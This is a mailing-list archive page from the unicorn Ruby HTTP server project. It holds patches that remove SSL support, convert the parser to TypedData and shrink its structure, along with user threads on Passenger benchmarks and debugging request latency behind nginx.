(git ls-files && for i in $@ $(pkg_extra); do echo $$i; done) | \
LC_ALL=C sort > $@+
cmp $@+ $@ || mv $@+ $@
--
EW
^ permalink raw reply related [relevance 13%]
* [PATCH] http: standalone require + reduction in binary size
@ 2015-02-04 20:16 30% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-02-04 20:16 UTC (permalink / raw)
To: unicorn-public
This allows requiring just the C extension part of "unicorn_http",
without requiring the rest of unicorn, allowing other HTTP servers
using the same parser to be slimmer.
On my x86-64 Debian 7.0 system:
text data bss dec hex filename
44026 1976 488 46490 b59a lib/unicorn_http.so
43930 1976 456 46362 b51a lib/unicorn_http.so
---
GNUmakefile | 5 ++++-
ext/unicorn_http/httpdate.c | 2 +-
ext/unicorn_http/unicorn_http.rl | 2 +-
3 files changed, 6 insertions(+), 3 deletions(-)
diff --git a/GNUmakefile b/GNUmakefile
index d7f0118..4c40dc9 100644
--- a/GNUmakefile
+++ b/GNUmakefile
@@ -85,10 +85,13 @@ test-unit: $(wildcard test/unit/test_*.rb)
$(slow_tests): $(test_prefix)/.stamp
@$(MAKE) $(shell $(awk_slow) $@)
+test-require: $(ext)/unicorn_http.$(DLEXT)
+ $(RUBY) --disable-gems -I$(ext) -runicorn_http -e Unicorn
+
test-integration: $(test_prefix)/.stamp
$(MAKE) -C t
-check: test test-integration
+check: test-require test test-integration
test-all: check
TEST_OPTS = -v
diff --git a/ext/unicorn_http/httpdate.c b/ext/unicorn_http/httpdate.c
index bf54fdd..0a1045f 100644
--- a/ext/unicorn_http/httpdate.c
+++ b/ext/unicorn_http/httpdate.c
@@ -66,7 +66,7 @@ static VALUE httpdate(VALUE self)
void init_unicorn_httpdate(void)
{
- VALUE mod = rb_const_get(rb_cObject, rb_intern("Unicorn"));
+ VALUE mod = rb_define_module("Unicorn");
mod = rb_define_module_under(mod, "HttpResponse");
buf = rb_str_new(0, buf_capa - 1);
diff --git a/ext/unicorn_http/unicorn_http.rl b/ext/unicorn_http/unicorn_http.rl
index de83652..932d259 100644
--- a/ext/unicorn_http/unicorn_http.rl
+++ b/ext/unicorn_http/unicorn_http.rl
@@ -926,7 +926,7 @@ void Init_unicorn_http(void)
{
VALUE mUnicorn, cHttpParser;
- mUnicorn = rb_const_get(rb_cObject, rb_intern("Unicorn"));
+ mUnicorn = rb_define_module("Unicorn");
cHttpParser = rb_define_class_under(mUnicorn, "HttpParser", rb_cObject);
eHttpParserError =
rb_define_class_under(mUnicorn, "HttpParserError", rb_eIOError);
--
EW
^ permalink raw reply related [relevance 30%]
* [PATCH] remove SSL support
@ 2014-12-21 11:17 7% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2014-12-21 11:17 UTC (permalink / raw)
To: unicorn-public
We implemented barely-advertised support for SSL for two reasons:
1) to detect corruption on LANs beyond what TCP offers
2) to support other servers based on unicorn (never happened)
Since this feature is largely not useful for unicorn itself,
there's no reason to penalize unicorn 5.x users with bloat.
In our defense, SSL support appeared in version 4.2.0 :)
---
Note: generated with "git format-patch -D" to ease review
lib/unicorn/configurator.rb | 2 -
lib/unicorn/http_server.rb | 3 --
lib/unicorn/ssl_client.rb | 11 -----
lib/unicorn/ssl_configurator.rb | 104 ----------------------------------------
lib/unicorn/ssl_server.rb | 42 ----------------
test/unit/test_sni_hostnames.rb | 47 ------------------
6 files changed, 209 deletions(-)
delete mode 100644 lib/unicorn/ssl_client.rb
delete mode 100644 lib/unicorn/ssl_configurator.rb
delete mode 100644 lib/unicorn/ssl_server.rb
delete mode 100644 test/unit/test_sni_hostnames.rb
diff --git a/lib/unicorn/configurator.rb b/lib/unicorn/configurator.rb
index 5962418..d14e608 100644
--- a/lib/unicorn/configurator.rb
+++ b/lib/unicorn/configurator.rb
@@ -1,6 +1,5 @@
# -*- encoding: binary -*-
require 'logger'
-require 'unicorn/ssl_configurator'
# Implements a simple DSL for configuring a \Unicorn server.
#
@@ -13,7 +12,6 @@ require 'unicorn/ssl_configurator'
# See the link:/TUNING.html document for more information on tuning unicorn.
class Unicorn::Configurator
include Unicorn
- include Unicorn::SSLConfigurator
# :stopdoc:
attr_accessor :set, :config_file, :after_reload
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 69bf362..a523fce 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -1,5 +1,4 @@
# -*- encoding: binary -*-
-require "unicorn/ssl_server"
# This is the process manager of Unicorn. This manages worker
# processes which in turn handle the I/O and application process.
@@ -21,7 +20,6 @@ class Unicorn::HttpServer
attr_reader :pid, :logger
include Unicorn::SocketHelper
include Unicorn::HttpResponse
- include Unicorn::SSLServer
# backwards compatibility with 1.x
Worker = Unicorn::Worker
@@ -618,7 +616,6 @@ class Unicorn::HttpServer
self.timeout /= 2.0 # halve it for select()
@config = nil
build_app! unless preload_app
- ssl_enable!
@after_fork = @listener_opts = @orig_app = nil
readers = LISTENERS.dup
readers << worker
diff --git a/lib/unicorn/ssl_client.rb b/lib/unicorn/ssl_client.rb
deleted file mode 100644
index a8c79e3..0000000
diff --git a/lib/unicorn/ssl_configurator.rb b/lib/unicorn/ssl_configurator.rb
deleted file mode 100644
index 34f09ec..0000000
diff --git a/lib/unicorn/ssl_server.rb b/lib/unicorn/ssl_server.rb
deleted file mode 100644
index c00c3ae..0000000
diff --git a/test/unit/test_sni_hostnames.rb b/test/unit/test_sni_hostnames.rb
deleted file mode 100644
index 457afee..0000000
--
EW
^ permalink raw reply related [relevance 7%]
* [PATCH] t/t0002-parser-error.sh: relax test for rack 1.6.0
@ 2014-12-21 10:43 8% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2014-12-21 10:43 UTC (permalink / raw)
To: unicorn-public
This overly zealous test was broken by:
rack commit be28c6a2ac152fe4adfbef71f3db9f4200df89e8
("update HTTP status codes to IETF RFC 7231")
---
t/t0002-parser-error.sh | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/t/t0002-parser-error.sh b/t/t0002-parser-error.sh
index 9fa5a31..9dc1cd2 100755
--- a/t/t0002-parser-error.sh
+++ b/t/t0002-parser-error.sh
@@ -42,7 +42,7 @@ t_begin "send a huge Request URI (REQUEST_PATH > (12 * 1024))" && {
}
t_begin "response should be a 414 (REQUEST_PATH)" && {
- grep -F 'HTTP/1.1 414 Request-URI Too Long' $tmp
+ grep -F 'HTTP/1.1 414 ' $tmp
}
t_begin "send a huge Request URI (QUERY_STRING > (10 * 1024))" && {
@@ -63,7 +63,7 @@ t_begin "send a huge Request URI (QUERY_STRING > (10 * 1024))" && {
}
t_begin "response should be a 414 (QUERY_STRING)" && {
- grep -F 'HTTP/1.1 414 Request-URI Too Long' $tmp
+ grep -F 'HTTP/1.1 414 ' $tmp
}
t_begin "send a huge Request URI (FRAGMENT > 1024)" && {
@@ -84,7 +84,7 @@ t_begin "send a huge Request URI (FRAGMENT > 1024)" && {
}
t_begin "response should be a 414 (FRAGMENT)" && {
- grep -F 'HTTP/1.1 414 Request-URI Too Long' $tmp
+ grep -F 'HTTP/1.1 414 ' $tmp
}
t_begin "server stderr should be clean" && check_stderr
--
EW
^ permalink raw reply related [relevance 8%]
* Re: No, passenger 5.0 is not faster than unicorn :)
@ 2014-12-03 14:10 2% ` Bráulio Bhavamitra
0 siblings, 0 replies; 200+ results
From: Bráulio Bhavamitra @ 2014-12-03 14:10 UTC (permalink / raw)
To: Hongli Lai; +Cc: unicorn-public, Hitendra Hugo Melo
Hello Hongli,
Thank you the guide, I've already learned a bit from it.
We already use nginx for static files and ssl and varnish for caching
public pages, so maybe turbocaching won't help too much.
In this test I've tested passenger in standalone mode (--max-pool-size
1) and unicorn with one worker. On a slow page, the variation was
minimal (~8.26 req/s in unicorn and ~8.11 in passenger). I haven't
tested fast and cacheable page.
Also, I've used ab for benchmarking. Next time will try wrk.
cheers,
bráulio
On Wed, Dec 3, 2014 at 8:00 AM, Hongli Lai <hongli@phusion.nl> wrote:
> Unicorn *is* in general very good and very efficient, no doubt about that.
> Eric Wong has made great design choices and is an excellent programmer.
>
> Having said that, in certain specific cases there's still room for
> improvement. That's why we focused so much on microoptimizations and
> specific optimizations like turbocaching. Have you followed Phusion
> Passenger's Server Optimization Guide?
> https://www.phusionpassenger.com/documentation/ServerOptimizationGuide.html
>
> Also, you have to ensure that your Rails app sets the correct caching
> headers. By default, Rails sets "Cache-Control: private, no-store" so that
> the turbocache cannot kick in. You should see very different results if you
> add "headers['Cache-Control'] = 'public'" to your Rails app. If you need any
> help with this, please feel free to contact me off-list. I'd be happy to
> help. We have also a benchmarking kit so that you can double check the
> results; email me if you're interested in this.
>
> As Sam said, most of the time will be spent in the Rails app. But
> turbocaching is one notable exception: it's the one feature that can speed
> things up even if your app is slow - provided that you set HTTP caching
> headers correctly.
>
> Unicorn is excellent at what it does: it's a minimal server with a specific
> I/O model that is supposed to be used behind a buffering reverse proxy.
> There is nothing wrong with that, and for the workloads that it's designed
> for, it's great. Phusion Passenger has merely chosen a non-generalist
> approach that aims to squeeze additional performance from specific cases. Of
> course, nothing's a silver bullet. Like any tool, it only works if you use
> it correctly.
>
> On Wed, Dec 3, 2014 at 10:50 AM, Bráulio Bhavamitra <braulio@eita.org.br>
> wrote:
>>
>> Hello all,
>>
>> I've just tested a one instance each (one worker with unicorn and
>> --max-pool-size 1 passenger 5) on the rails app I work.
>>
>> And the results are just as I expected, no miracle at all: Unicorn is
>> still the fatest!
>> (the difference is only a few milliseconds less per request)
>>
>> The blocking design of unicorn is proving itself very efficient.
>>
>> cheers!
>> bráulio
>>
>
>
>
> --
> Phusion | Web Application deployment, scaling, and monitoring solutions
>
> Web: http://www.phusion.nl/
> E-mail: info@phusion.nl
> Chamber of commerce no: 08173483 (The Netherlands)
--
"Lute pela sua ideologia. Seja um com sua ideologia. Viva pela sua
ideologia. Morra por sua ideologia" P.R. Sarkar
EITA - Educação, Informação e Tecnologias para Autogestão
http://cirandas.net/brauliobo
http://eita.org.br
"Paramapurusha é meu pai e Parama Prakriti é minha mãe. O universo é
meu lar e todos nós somos cidadãos deste cosmo. Este universo é a
imaginação da Mente Macrocósmica, e todas as entidades estão sendo
criadas, preservadas e destruídas nas fases de extroversão e
introversão do fluxo imaginativo cósmico. No âmbito pessoal, quando
uma pessoa imagina algo em sua mente, naquele momento, essa pessoa é a
única proprietária daquilo que ela imagina, e ninguém mais. Quando um
ser humano criado mentalmente caminha por um milharal também
imaginado, a pessoa imaginada não é a propriedade desse milharal, pois
ele pertence ao indivíduo que o está imaginando. Este universo foi
criado na imaginação de Brahma, a Entidade Suprema, por isso a
propriedade deste universo é de Brahma, e não dos microcosmos que
também foram criados pela imaginação de Brahma. Nenhuma propriedade
deste mundo, mutável ou imutável, pertence a um indivíduo em
particular; tudo é o patrimônio comum de todos."
Restante do texto em
http://cirandas.net/brauliobo/blog/a-problematica-de-hoje-em-dia
^ permalink raw reply [relevance 2%]
* [RFC] http: TypedData C-API conversion
@ 2014-11-16 8:32 11% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2014-11-16 8:32 UTC (permalink / raw)
To: unicorn-public
This provides some extra type safety if combined with other C
extensions, as well as allowing us to account for memory usage of
the HTTP parser in ObjectSpace.
Note: this means we are finally dropping Ruby 1.8 support as
TypedData requires Ruby 1.9 and later. Future changes will
require Ruby 1.9.2 and later (which is already EOL), but still
in use at some places. This compiles with warnings on Ruby 1.9.2,
but is warning-free on modern Ruby versions.
This also currently leaks memory under 1.9.2-p330 x86_64-linux if
test_memory_leak is enabled in test/unit/test_http_parser.rb
Since 1.9.2 is EOL and 1.9.3+ all work fine (including trunk),
I'm not going to spend more time with this problem.
Also, keep in mind this type of memory leak wouldn't affect unicorn
as we only ever allocate a single parser. This leak would only
affect other (concurrent) HTTP servers using this parser, and only
under Ruby 1.9.2.
---
So with this, I'm strongly considering making unicorn 5 depend
on Ruby 1.9.3+, and not just Ruby 1.9.2+.
ext/unicorn_http/unicorn_http.rl | 35 +++++++++++++++++++++++------------
test/unit/test_http_parser.rb | 10 ++++++++++
2 files changed, 33 insertions(+), 12 deletions(-)
diff --git a/ext/unicorn_http/unicorn_http.rl b/ext/unicorn_http/unicorn_http.rl
index 3294357..16741e0 100644
--- a/ext/unicorn_http/unicorn_http.rl
+++ b/ext/unicorn_http/unicorn_http.rl
@@ -417,11 +417,31 @@ post_exec: /* "_out:" also goes here */
assert(hp->offset <= len && "offset longer than length");
}
+static void hp_mark(void *ptr)
+{
+ struct http_parser *hp = ptr;
+
+ rb_gc_mark(hp->buf);
+ rb_gc_mark(hp->env);
+ rb_gc_mark(hp->cont);
+}
+
+static size_t hp_memsize(const void *ptr)
+{
+ return sizeof(struct http_parser);
+}
+
+static const rb_data_type_t hp_type = {
+ "unicorn_http",
+ { hp_mark, (void(*))(void *)-1, hp_memsize, /* reserved */ },
+ /* parent, data, [ flags ] */
+};
+
static struct http_parser *data_get(VALUE self)
{
struct http_parser *hp;
- Data_Get_Struct(self, struct http_parser, hp);
+ TypedData_Get_Struct(self, struct http_parser, &hp_type, hp);
assert(hp && "failed to extract http_parser struct");
return hp;
}
@@ -527,21 +547,12 @@ static void finalize_header(struct http_parser *hp)
rb_hash_aset(hp->env, g_query_string, rb_str_new(NULL, 0));
}
-static void hp_mark(void *ptr)
-{
- struct http_parser *hp = ptr;
-
- rb_gc_mark(hp->buf);
- rb_gc_mark(hp->env);
- rb_gc_mark(hp->cont);
-}
-
static VALUE HttpParser_alloc(VALUE klass)
{
struct http_parser *hp;
- return Data_Make_Struct(klass, struct http_parser, hp_mark, -1, hp);
-}
+ return TypedData_Make_Struct(klass, struct http_parser, &hp_type, hp);
+}
/**
* call-seq:
diff --git a/test/unit/test_http_parser.rb b/test/unit/test_http_parser.rb
index 2251dcf..2785df7 100644
--- a/test/unit/test_http_parser.rb
+++ b/test/unit/test_http_parser.rb
@@ -851,4 +851,14 @@ class HttpParserTest < Test::Unit::TestCase
File.readable?(LINUX_PROC_PID_STATUS) &&
!defined?(RUBY_ENGINE)
+ def test_memsize
+ require 'objspace'
+ if ObjectSpace.respond_to?(:memsize_of)
+ n = ObjectSpace.memsize_of(Unicorn::HttpParser.new)
+ assert_kind_of Integer, n
+ assert_operator n, :<=, 56 # need to update this when 128-bit machines
+ end
+ rescue LoadError
+ # not all Ruby implementations have objspace
+ end
end
--
EW
^ permalink raw reply related [relevance 11%]
* RE: Issue with Unicorn: Big latency when getting a request
2014-11-14 10:12 0% ` Roberto Cordoba del Moral
@ 2014-11-14 10:15 1% ` Roberto Cordoba del Moral
0 siblings, 0 replies; 200+ results
From: Roberto Cordoba del Moral @ 2014-11-14 10:15 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public@bogomips.org
[-- Attachment #1: Type: text/plain, Size: 2392 bytes --]
I´m using the Google Chrome debugging tools. There you can see the getTranslationLanguages request which is WAITING for 12 seconds. But, anyway, I don´t know the reason why.
Please let my attach the screenshot.
From: roberto.chingon@hotmail.com
To: e@80x24.org
CC: unicorn-public@bogomips.org
Subject: RE: Issue with Unicorn: Big latency when getting a request
Date: Fri, 14 Nov 2014 11:12:16 +0100
I have no idea about what can it be. I don´t see any blog, issue or post on internet related to this. It´s strange this is only happening to me.
Anyway, remember the issue is not happening when I replace Unicorn with webRick.
> Date: Fri, 14 Nov 2014 10:02:08 +0000
> From: e@80x24.org
> To: roberto.chingon@hotmail.com
> CC: unicorn-public@bogomips.org
> Subject: Re: Issue with Unicorn: Big latency when getting a request
>
> Roberto Cordoba del Moral <roberto.chingon@hotmail.com> wrote:
> > Hi Eric,
> >
> > as you don´t like web. I don´t know if you read my latest updates.
> > Please, find them attached. I don´t know if they could be helpful
> > tracks. UPDATE: I don´t know why it seems to be related to cache or
> > cookies. When I delete browsing history with cache and cookies in my
> > browser and I load the site the issue doesn´t happen anymore. After
> > that, if I just refresh the page, the issue happens. Thanks,Roberto.
>
> It's probably something related to your frontend/Angular setup (which I
> know nothing about). Try disabling cookies + cache in your browser
> completely... Some browsers have extensions/plugins which can trace
> HTTP requests, too.
>
> > I´m not pretty sure how to crank up the verbosity of nginx although
> > I think I got it, because when I restart Nginx I get next logs:
>
> Server debugging:
>
> Uncomment one of your "error_log" lines in your nginx conf:
>
> error_log logs/error.log debug;
>
> (you can change the path, of course)
>
> I suggest using your Ubuntu (or any GNU/Linux) test environment which
> has strace. I cannot support any software on Darwin.
>
> You may also use tcpdump/strace on your browser, too, but I suspect for
> your case it'll be easier to use whatever debugging tools +
> plugins/extensions your browser supports.
>
> This really doesn't seem to be a unicorn or nginx bug, though...
[-- Attachment #2: Type: text/plain, Size: 2507 bytes --]
I'm using the Google Chrome debugging tools. There you can see the
getTranslationLanguages request which is WAITING for 12 seconds. But,
anyway, I don't know the reason why.
Please let my attach the screenshot.
__________________________________________________________________
From: roberto.chingon@hotmail.com
To: e@80x24.org
CC: unicorn-public@bogomips.org
Subject: RE: Issue with Unicorn: Big latency when getting a request
Date: Fri, 14 Nov 2014 11:12:16 +0100
I have no idea about what can it be. I don't see any blog, issue or
post on internet related to this. It's strange this is only happening
to me.
Anyway, remember the issue is not happening when I replace Unicorn with
webRick.
> Date: Fri, 14 Nov 2014 10:02:08 +0000
> From: e@80x24.org
> To: roberto.chingon@hotmail.com
> CC: unicorn-public@bogomips.org
> Subject: Re: Issue with Unicorn: Big latency when getting a request
>
> Roberto Cordoba del Moral <roberto.chingon@hotmail.com> wrote:
> > Hi Eric,
> >
> > as you don't like web. I don't know if you read my latest updates.
> > Please, find them attached. I don't know if they could be helpful
> > tracks. UPDATE: I don't know why it seems to be related to cache or
> > cookies. When I delete browsing history with cache and cookies in
my
> > browser and I load the site the issue doesn't happen anymore. After
> > that, if I just refresh the page, the issue happens.
Thanks,Roberto.
>
> It's probably something related to your frontend/Angular setup (which
I
> know nothing about). Try disabling cookies + cache in your browser
> completely... Some browsers have extensions/plugins which can trace
> HTTP requests, too.
>
> > I'm not pretty sure how to crank up the verbosity of nginx although
> > I think I got it, because when I restart Nginx I get next logs:
>
> Server debugging:
>
> Uncomment one of your "error_log" lines in your nginx conf:
>
> error_log logs/error.log debug;
>
> (you can change the path, of course)
>
> I suggest using your Ubuntu (or any GNU/Linux) test environment which
> has strace. I cannot support any software on Darwin.
>
> You may also use tcpdump/strace on your browser, too, but I suspect
for
> your case it'll be easier to use whatever debugging tools +
> plugins/extensions your browser supports.
>
> This really doesn't seem to be a unicorn or nginx bug, though...
^ permalink raw reply [relevance 1%]
* RE: Issue with Unicorn: Big latency when getting a request
2014-11-14 10:02 2% ` Eric Wong
@ 2014-11-14 10:12 0% ` Roberto Cordoba del Moral
2014-11-14 10:15 1% ` Roberto Cordoba del Moral
0 siblings, 1 reply; 200+ results
From: Roberto Cordoba del Moral @ 2014-11-14 10:12 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public@bogomips.org
I have no idea about what can it be. I don´t see any blog, issue or post on internet related to this. It´s strange this is only happening to me.
Anyway, remember the issue is not happening when I replace Unicorn with webRick.
> Date: Fri, 14 Nov 2014 10:02:08 +0000
> From: e@80x24.org
> To: roberto.chingon@hotmail.com
> CC: unicorn-public@bogomips.org
> Subject: Re: Issue with Unicorn: Big latency when getting a request
>
> Roberto Cordoba del Moral <roberto.chingon@hotmail.com> wrote:
> > Hi Eric,
> >
> > as you don´t like web. I don´t know if you read my latest updates.
> > Please, find them attached. I don´t know if they could be helpful
> > tracks. UPDATE: I don´t know why it seems to be related to cache or
> > cookies. When I delete browsing history with cache and cookies in my
> > browser and I load the site the issue doesn´t happen anymore. After
> > that, if I just refresh the page, the issue happens. Thanks,Roberto.
>
> It's probably something related to your frontend/Angular setup (which I
> know nothing about). Try disabling cookies + cache in your browser
> completely... Some browsers have extensions/plugins which can trace
> HTTP requests, too.
>
> > I´m not pretty sure how to crank up the verbosity of nginx although
> > I think I got it, because when I restart Nginx I get next logs:
>
> Server debugging:
>
> Uncomment one of your "error_log" lines in your nginx conf:
>
> error_log logs/error.log debug;
>
> (you can change the path, of course)
>
> I suggest using your Ubuntu (or any GNU/Linux) test environment which
> has strace. I cannot support any software on Darwin.
>
> You may also use tcpdump/strace on your browser, too, but I suspect for
> your case it'll be easier to use whatever debugging tools +
> plugins/extensions your browser supports.
>
> This really doesn't seem to be a unicorn or nginx bug, though...
^ permalink raw reply [relevance 0%]
* Re: Issue with Unicorn: Big latency when getting a request
@ 2014-11-14 10:02 2% ` Eric Wong
2014-11-14 10:12 0% ` Roberto Cordoba del Moral
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2014-11-14 10:02 UTC (permalink / raw)
To: Roberto Cordoba del Moral; +Cc: unicorn-public
Roberto Cordoba del Moral <roberto.chingon@hotmail.com> wrote:
> Hi Eric,
>
> as you don´t like web. I don´t know if you read my latest updates.
> Please, find them attached. I don´t know if they could be helpful
> tracks. UPDATE: I don´t know why it seems to be related to cache or
> cookies. When I delete browsing history with cache and cookies in my
> browser and I load the site the issue doesn´t happen anymore. After
> that, if I just refresh the page, the issue happens. Thanks,Roberto.
It's probably something related to your frontend/Angular setup (which I
know nothing about). Try disabling cookies + cache in your browser
completely... Some browsers have extensions/plugins which can trace
HTTP requests, too.
> I´m not pretty sure how to crank up the verbosity of nginx although
> I think I got it, because when I restart Nginx I get next logs:
Server debugging:
Uncomment one of your "error_log" lines in your nginx conf:
error_log logs/error.log debug;
(you can change the path, of course)
I suggest using your Ubuntu (or any GNU/Linux) test environment which
has strace. I cannot support any software on Darwin.
You may also use tcpdump/strace on your browser, too, but I suspect for
your case it'll be easier to use whatever debugging tools +
plugins/extensions your browser supports.
This really doesn't seem to be a unicorn or nginx bug, though...
^ permalink raw reply [relevance 2%]
* RE: Issue with Unicorn: Big latency when getting a request
@ 2014-11-13 7:12 2% ` Roberto Cordoba del Moral
0 siblings, 1 reply; 200+ results
From: Roberto Cordoba del Moral @ 2014-11-13 7:12 UTC (permalink / raw)
To: unicorn-public@bogomips.org
[-- Attachment #1: Type: text/plain, Size: 987 bytes --]
Hi guys,
please see my updates in the post. Now, I´m pretty sure the problem is Unicorn (when I shutdown Unicorn and test with webRick the problem doesn´t happen anymore), but I don´t know why.
http://stackoverflow.com/questions/26894622/big-delay-while-processing-http-request-from-nginx-to-unicorn-angularjs-to-rail
Thanks in advance.Roberto.
From: roberto.chingon@hotmail.com
To: unicorn-public@bogomips.org
Subject: Issue with Unicorn: Big latency when getting a request
Date: Wed, 12 Nov 2014 20:46:13 +0100
Hi,
I´m getting crazy with an big latency of 12 seconds I get first time I send a request to Unicorn (after that, everything is fine).
Please, see the problem detailed in this post in stackoverflow http://stackoverflow.com/questions/26894622/big-delay-while-processing-http-request-from-nginx-to-unicorn-angularjs-to-rail
I really hope you can help me, because I don´t know what else can I check.
Thank you so much,Roberto.
[-- Attachment #2: Type: text/html, Size: 1971 bytes --]
^ permalink raw reply [relevance 2%]
* [PATCH 4/4] http: reduce parser from 72 to 56 bytes on 64-bit
2014-09-22 1:05 4% [PATCH 0/4] a few more minor cleanups pushed out Eric Wong
2014-09-22 1:05 18% ` [PATCH 2/4] remove mongrel.rubyforge.org references Eric Wong
2014-09-22 1:05 15% ` [PATCH 3/4] http: remove the keepalive requests limit Eric Wong
@ 2014-09-22 1:05 11% ` Eric Wong
2 siblings, 0 replies; 200+ results
From: Eric Wong @ 2014-09-22 1:05 UTC (permalink / raw)
To: unicorn-public; +Cc: Eric Wong
This allows the parser struct to fit in one cache line on
x86-64 systems where cache lines are 64 bytes.
Using 32-bit integer lengths is safe here because these are only for
tracking offsets within the HTTP header buffer. We can safely limit
HTTP headers and in-memory buffers to be less than 4GB without
anybody complaining.
HTTP bodies continue to use off_t (usually 64-bit, even on 32-bit
systems) sizes and support as much as the OS/hardware can handle.
---
ext/unicorn_http/unicorn_http.rl | 18 +++++++++---------
test/unit/test_http_parser_ng.rb | 6 ++++++
2 files changed, 15 insertions(+), 9 deletions(-)
diff --git a/ext/unicorn_http/unicorn_http.rl b/ext/unicorn_http/unicorn_http.rl
index 9372d39..3294357 100644
--- a/ext/unicorn_http/unicorn_http.rl
+++ b/ext/unicorn_http/unicorn_http.rl
@@ -29,27 +29,27 @@ void init_unicorn_httpdate(void);
/* all of these flags need to be set for keepalive to be supported */
#define UH_FL_KEEPALIVE (UH_FL_KAVERSION | UH_FL_REQEOF | UH_FL_HASHEADER)
-static size_t MAX_HEADER_LEN = 1024 * (80 + 32); /* same as Mongrel */
+static unsigned int MAX_HEADER_LEN = 1024 * (80 + 32); /* same as Mongrel */
/* this is only intended for use with Rainbows! */
static VALUE set_maxhdrlen(VALUE self, VALUE len)
{
- return SIZET2NUM(MAX_HEADER_LEN = NUM2SIZET(len));
+ return UINT2NUM(MAX_HEADER_LEN = NUM2UINT(len));
}
/* keep this small for Rainbows! since every client has one */
struct http_parser {
int cs; /* Ragel internal state */
unsigned int flags;
- size_t mark;
- size_t offset;
+ unsigned int mark;
+ unsigned int offset;
union { /* these 2 fields don't nest */
- size_t field;
- size_t query;
+ unsigned int field;
+ unsigned int query;
} start;
union {
- size_t field_len; /* only used during header processing */
- size_t dest_offset; /* only used during body processing */
+ unsigned int field_len; /* only used during header processing */
+ unsigned int dest_offset; /* only used during body processing */
} s;
VALUE buf;
VALUE env;
@@ -74,7 +74,7 @@ static void parser_raise(VALUE klass, const char *msg)
}
#define REMAINING (unsigned long)(pe - p)
-#define LEN(AT, FPC) (FPC - buffer - hp->AT)
+#define LEN(AT, FPC) (FPC - buffer - (unsigned long)hp->AT)
#define MARK(M,FPC) (hp->M = (FPC) - buffer)
#define PTR_TO(F) (buffer + hp->F)
#define STR_NEW(M,FPC) rb_str_new(PTR_TO(M), LEN(M, FPC))
diff --git a/test/unit/test_http_parser_ng.rb b/test/unit/test_http_parser_ng.rb
index 9167845..d5c8d2e 100644
--- a/test/unit/test_http_parser_ng.rb
+++ b/test/unit/test_http_parser_ng.rb
@@ -11,6 +11,12 @@ class HttpParserNgTest < Test::Unit::TestCase
@parser = HttpParser.new
end
+ def test_parser_max_len
+ assert_raises(RangeError) do
+ HttpParser.max_header_len = 0xffffffff + 1
+ end
+ end
+
def test_next_clear
r = "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n"
@parser.buf << r
--
EW
^ permalink raw reply related [relevance 11%]
* [PATCH 3/4] http: remove the keepalive requests limit
2014-09-22 1:05 4% [PATCH 0/4] a few more minor cleanups pushed out Eric Wong
2014-09-22 1:05 18% ` [PATCH 2/4] remove mongrel.rubyforge.org references Eric Wong
@ 2014-09-22 1:05 15% ` Eric Wong
2014-09-22 1:05 11% ` [PATCH 4/4] http: reduce parser from 72 to 56 bytes on 64-bit Eric Wong
2 siblings, 0 replies; 200+ results
From: Eric Wong @ 2014-09-22 1:05 UTC (permalink / raw)
To: unicorn-public; +Cc: Eric Wong
This was a hack for some event loops such as those found in nginx
and some Rainbows! concurrency models. Using epoll/kqueue with
one-shot notification (which yahns does) avoids all fairness
problems.
---
ext/unicorn_http/unicorn_http.rl | 37 ++------------------
test/unit/test_http_parser_ng.rb | 74 +---------------------------------------
2 files changed, 3 insertions(+), 108 deletions(-)
diff --git a/ext/unicorn_http/unicorn_http.rl b/ext/unicorn_http/unicorn_http.rl
index ecdadb0..9372d39 100644
--- a/ext/unicorn_http/unicorn_http.rl
+++ b/ext/unicorn_http/unicorn_http.rl
@@ -29,29 +29,6 @@ void init_unicorn_httpdate(void);
/* all of these flags need to be set for keepalive to be supported */
#define UH_FL_KEEPALIVE (UH_FL_KAVERSION | UH_FL_REQEOF | UH_FL_HASHEADER)
-static unsigned long keepalive_requests = 100; /* same as nginx */
-
-/*
- * Returns the maximum number of keepalive requests a client may make
- * before the parser refuses to continue.
- */
-static VALUE ka_req(VALUE self)
-{
- return ULONG2NUM(keepalive_requests);
-}
-
-/*
- * Sets the maximum number of keepalive requests a client may make.
- * A special value of +nil+ causes this to be the maximum value
- * possible (this is architecture-dependent).
- */
-static VALUE set_ka_req(VALUE self, VALUE val)
-{
- keepalive_requests = NIL_P(val) ? ULONG_MAX : NUM2ULONG(val);
-
- return ka_req(self);
-}
-
static size_t MAX_HEADER_LEN = 1024 * (80 + 32); /* same as Mongrel */
/* this is only intended for use with Rainbows! */
@@ -64,7 +41,6 @@ static VALUE set_maxhdrlen(VALUE self, VALUE len)
struct http_parser {
int cs; /* Ragel internal state */
unsigned int flags;
- unsigned long nr_requests;
size_t mark;
size_t offset;
union { /* these 2 fields don't nest */
@@ -580,7 +556,6 @@ static VALUE HttpParser_init(VALUE self)
http_parser_init(hp);
hp->buf = rb_str_new(NULL, 0);
hp->env = rb_hash_new();
- hp->nr_requests = keepalive_requests;
return self;
}
@@ -814,15 +789,13 @@ static VALUE HttpParser_keepalive(VALUE self)
* parser.next? => true or false
*
* Exactly like HttpParser#keepalive?, except it will reset the internal
- * parser state on next parse if it returns true. It will also respect
- * the maximum *keepalive_requests* value and return false if that is
- * reached.
+ * parser state on next parse if it returns true.
*/
static VALUE HttpParser_next(VALUE self)
{
struct http_parser *hp = data_get(self);
- if ((HP_FL_ALL(hp, KEEPALIVE)) && (hp->nr_requests-- != 0)) {
+ if (HP_FL_ALL(hp, KEEPALIVE)) {
HP_FL_SET(hp, TO_CLEAR);
return Qtrue;
}
@@ -984,12 +957,6 @@ void Init_unicorn_http(void)
*/
rb_define_const(cHttpParser, "LENGTH_MAX", OFFT2NUM(UH_OFF_T_MAX));
- /* default value for keepalive_requests */
- rb_define_const(cHttpParser, "KEEPALIVE_REQUESTS_DEFAULT",
- ULONG2NUM(keepalive_requests));
-
- rb_define_singleton_method(cHttpParser, "keepalive_requests", ka_req, 0);
